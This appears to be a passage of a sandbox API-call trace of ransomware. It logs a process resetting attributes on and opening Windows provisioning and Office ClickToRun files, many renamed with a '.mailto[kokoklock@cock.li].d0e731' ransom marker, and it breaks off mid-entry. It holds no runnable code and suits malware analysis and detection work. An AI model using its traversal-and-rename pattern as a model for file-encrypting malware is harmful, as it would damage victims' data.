SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.957] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.957] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.957] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae08) returned 1 [0178.957] RtlExitUserThread (Status=0x0) Thread: id = 2714 os_tid = 0x1294 [0177.773] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.015] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.015] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.019] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.019] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafb8) returned 1 [0178.019] RtlExitUserThread (Status=0x0) Thread: id = 2715 os_tid = 0x1298 [0177.774] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.958] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.958] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.958] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.959] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1850) returned 1 [0178.959] RtlExitUserThread (Status=0x0) Thread: id = 2716 os_tid = 0x129c [0177.778] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.960] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.960] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.960] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.960] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff19f0) returned 1 [0178.960] RtlExitUserThread (Status=0x0) Thread: id = 2717 os_tid = 0x12a0 [0177.779] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.961] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.961] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.961] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.961] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1b88) returned 1 [0178.961] RtlExitUserThread (Status=0x0) Thread: id = 2718 os_tid = 0x12a4 [0177.779] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.962] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.963] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.963] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.963] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1d20) returned 1 [0178.963] RtlExitUserThread (Status=0x0) Thread: id = 2719 os_tid = 0x12a8 [0177.780] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.964] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.964] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.964] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.964] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fd07e8) returned 1 [0178.964] RtlExitUserThread (Status=0x0) Thread: id = 2720 os_tid = 0x12ac [0177.781] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.965] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.965] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\190__connections_cellular_siminn hf (iceland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.965] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\190__Connections_Cellular_Siminn hf (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1e98) returned 1 [0178.966] RtlExitUserThread (Status=0x0) Thread: id = 2721 os_tid = 0x12b0 [0177.781] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.967] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.967] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\191__connections_cellular_vodafone iceland (iceland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.967] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\191__Connections_Cellular_Vodafone Iceland (Iceland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.967] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff2030) returned 1 [0178.967] RtlExitUserThread (Status=0x0) Thread: id = 2722 os_tid = 0x12b4 [0177.782] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\192__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0178.015] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0178.015] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\192__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.020] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0178.020] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2d78) returned 1 [0178.020] RtlExitUserThread (Status=0x0) Thread: id = 2723 os_tid = 0x12b8 [0177.783] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\193__connections_cellular_aircel (india)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.015] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.016] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\193__connections_cellular_aircel (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.021] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.021] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa58e8) returned 1 [0178.021] RtlExitUserThread (Status=0x0) Thread: id = 2724 os_tid = 0x12bc [0177.783] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\194__connections_cellular_airtel (india)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.894] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.894] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\194__connections_cellular_airtel (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.894] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.894] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa6328) returned 1 [0178.894] RtlExitUserThread (Status=0x0) Thread: id = 2725 os_tid = 0x12c0 [0177.787] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12a) returned 0x2fe2898 [0177.788] wcscpy (in: _Dest=0x2fe2898, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" [0177.788] wcscat (in: _Dest=0x2fe2898, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\" [0177.788] wcscat (in: _Dest=0x2fe2898, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\*" [0177.788] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020f10 [0177.788] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\*", lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f802e0 [0177.788] wcscmp (_String1=".", _String2=".") returned 0 [0177.788] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.788] wcscmp (_String1="..", _String2=".") returned 1 [0177.788] wcscmp (_String1="..", _String2="..") returned 0 [0177.788] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfiguration.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0177.788] wcscmp (_String1="DeploymentConfiguration.xml", _String2=".") returned 1 [0177.788] wcscmp (_String1="DeploymentConfiguration.xml", _String2="..") returned 1 [0177.788] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15e) returned 0x2f92b40 [0177.788] wcscpy (in: _Dest=0x2f92b40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" [0177.788] wcscat (in: _Dest=0x2f92b40, _Source="\\" | out: _Dest="C:\\Users\\All 